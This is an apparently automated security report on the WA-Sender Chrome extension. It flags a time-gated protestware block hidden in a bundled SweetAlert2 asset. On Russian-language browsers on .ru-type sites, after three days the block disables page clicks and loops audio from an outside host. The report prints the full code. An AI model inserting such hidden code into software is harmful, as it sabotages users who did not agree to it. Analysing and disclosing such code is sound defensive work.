Is WA-Sender safe?

High risk

WA-Sender is high risk. On a Russian browser on a .ru, .su, .by, or xn--p1ai page, bundled SweetAlert2 stores an initiation time; after 3+ days it disables pointer interaction and loops audio from flag-gimn.ru/.../Ukraina.mp3. PoC confirmed it; no data sent.

what-sender.comv2.3.5Chrome Web Store
72Risk
Who publishes it

what-sender.com - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
what-sender.com
Website
support.what-sender.com/

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SweetAlert2 asset disables input and loads audio after 3 days

On a Russian browser on a .ru, .su, .by, or xn--p1ai page, bundled SweetAlert2 stores an initiation time; after 3+ days it disables pointer interaction and loops audio from flag-gimn.ru/.../Ukraina.mp3.

PoC confirmed it; no data sent.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You keep the extension installed past the saved 3-day mark.

The code also checks for a Russian browser language and a .ru, .su, .by, or xn--p1ai page.

The extension did this

The page stops accepting pointer interaction and starts a looping audio clip.

The audio source is loaded from flag-gimn.ru.

When this fires

On every browser startup

The first run stores a start time; later runs compare that stored time with the current date and activate only after the elapsed time is more than 3 days.

Concrete values used by the time-gated behavior
  • Saved start time
    swal-initiation = Sat Apr 13 2026 03:23:49 GMT+0000 (UTC)

    This lets the extension decide how long the browser has had this local marker.

  • Elapsed-time threshold
    4.00 days elapsed; condition (>3) is true

    This determines when the page changes from normal use to the blocking-and-audio behavior.

  • Language and page gate
    navigator.language = ru-RU; location.host = example.ru

    This limits the behavior to a narrower browsing context rather than every page you visit.

  • Page interaction state
    document.body.style.pointerEvents = none

    This prevents normal pointer interaction with the page while the style remains applied.

  • Audio file location
    https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

    This shows the external host contacted to load the audio clip.

Captured request
GEThttps://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3
The code that does this

The shipped asset contains the complete time-gated block

Readable version

Readable form of the same block

assets/sa/sweetalert2.js
if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {  var no = new Date,    oo = localStorage.getItem("swal-initiation");  oo ? (no.getTime() - Date.parse(oo)) / 864e5 > 3 && setTimeout((function() {    document.body.style.pointerEvents = "none";    var t = document.createElement("audio");    t.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", t.loop = !0, document.body.appendChild(t), setTimeout((function() {      t.play().catch((function() {}))    }), 2500)  }), 500) : localStorage.setItem("swal-initiation", "".concat(no))}
External destination named by the code
    • flag-gimn.ru

    Hosts the MP3 file assigned to the looping audio element.

Updated 30 September 2026hcddckfgihadahfdiefinmneegaoehdh